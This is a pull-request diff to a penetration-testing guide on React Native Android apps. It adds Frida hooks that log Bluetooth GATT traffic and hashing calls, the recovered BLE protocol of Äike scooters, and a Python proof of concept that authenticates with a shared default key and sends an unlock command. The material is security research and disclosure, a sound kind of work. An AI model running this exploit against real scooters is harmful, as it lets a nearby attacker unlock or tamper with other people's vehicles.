Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -186,6 +186,90 @@ make-apk-accept-ca-certificate.md
frida-tutorial/objection-tutorial.md
{{#endref}}

### Runtime GATT protocol discovery with Frida (Hermes-friendly)

When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. `android.bluetooth.BluetoothGatt` and `BluetoothGattCallback` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source.

<details>
<summary>Frida GATT logger (UUID + hex/ASCII dumps)</summary>

```js
Java.perform(function () {
function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); }
function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); }
var G = Java.use('android.bluetooth.BluetoothGatt');
var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function (c) {
console.log(`\n>>> WRITE ${c.getUuid()}`); console.log(b2h(c.getValue())); console.log(b2a(c.getValue()));
return this.writeCharacteristic(c);
};
G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic','[B','int').implementation = function (c,v,t) {
console.log(`\n>>> WRITE ${c.getUuid()} (type ${t})`); console.log(b2h(v)); console.log(b2a(v));
return this.writeCharacteristic(c,v,t);
};
Cb.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt','int','int').implementation = function (g,s,n) {
console.log(`*** STATE ${n} (status ${s})`); return this.onConnectionStateChange(g,s,n);
};
Cb.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic','int').implementation = function (g,c,s) {
var v=c.getValue(); console.log(`\n<<< READ ${c.getUuid()} status ${s}`); console.log(b2h(v)); console.log(b2a(v));
return this.onCharacteristicRead(g,c,s);
};
Cb.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic').implementation = function (g,c) {
var v=c.getValue(); console.log(`\n<<< NOTIFY ${c.getUuid()}`); console.log(b2h(v));
return this.onCharacteristicChanged(g,c);
};
});
```
</details>

Hook `java.security.MessageDigest` to fingerprint hash-based handshakes and capture the exact input concatenation:

<details>
<summary>Frida MessageDigest tracer (algorithm, input, output)</summary>

```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});
```
</details>

A real-world BLE flow recovered this way:
- Read challenge from `00002556-1212-efde-1523-785feabcd123`.
- Compute `response = SHA1(challenge || key)` where the **key was a 20-byte default of 0xFF** provisioned across all devices.
- Write the response to `00002557-1212-efde-1523-785feabcd123`, then issue commands on `0000155f-1212-efde-1523-785feabcd123`.

Once authenticated, commands were 10-byte frames to `...155f...` (`[0]=0x00`, `[1]=registry 0xD4`, `[3]=cmd id`, `[7]=param`). Examples: unlock `00 D4 00 01 00 00 00 00 00 00`, lock `...02...`, eco-mode on `...03...01...`, open battery `...04...`. Notifications arrived on `0000155e-1212-efde-1523-785feabcd123` (2-byte registry + payload), and registry values could be polled by writing the registry ID to `00001564-1212-efde-1523-785feabcd123` then reading back from `...155f...`.

With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC:

<details>
<summary>Python (bleak) BLE auth + unlock via default key</summary>

```python
import asyncio, hashlib
from bleak import BleakClient, BleakScanner
CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in ["AIKE","AIKE_T","AIKE_11"]
async def main():
dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0)
if not dev: return
async with BleakClient(dev.address) as c:
chal = await c.read_gatt_char(CHAL)
resp = hashlib.sha1(chal + b'\xff'*20).digest()
await c.write_gatt_char(RESP, resp, response=False)
await c.write_gatt_char(CMD, bytes.fromhex('00 d4 00 01 00 00 00 00 00 00'), response=False)
await asyncio.sleep(0.5)
asyncio.run(main())
```
</details>

## Recent issues in popular RN libraries (what to look for)

When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in `package.json`/`yarn.lock`.
Expand All @@ -206,7 +290,8 @@ grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/nu
- [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
- [https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications)
- [https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf)
- CVE-2024-21668: react-native-mmkv logs encryption key on Android, fixed in v2.11.0 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-21668
- hbctool (and forks) for Hermes assemble/disassemble: https://github.com/bongtrop/hbctool
- [CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-21668)
- [hbctool (and forks) for Hermes assemble/disassemble](https://github.com/bongtrop/hbctool)
- [Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter](https://blog.nns.ee/2026/01/06/aike-ble/)

{{#include ../../banners/hacktricks-training.md}}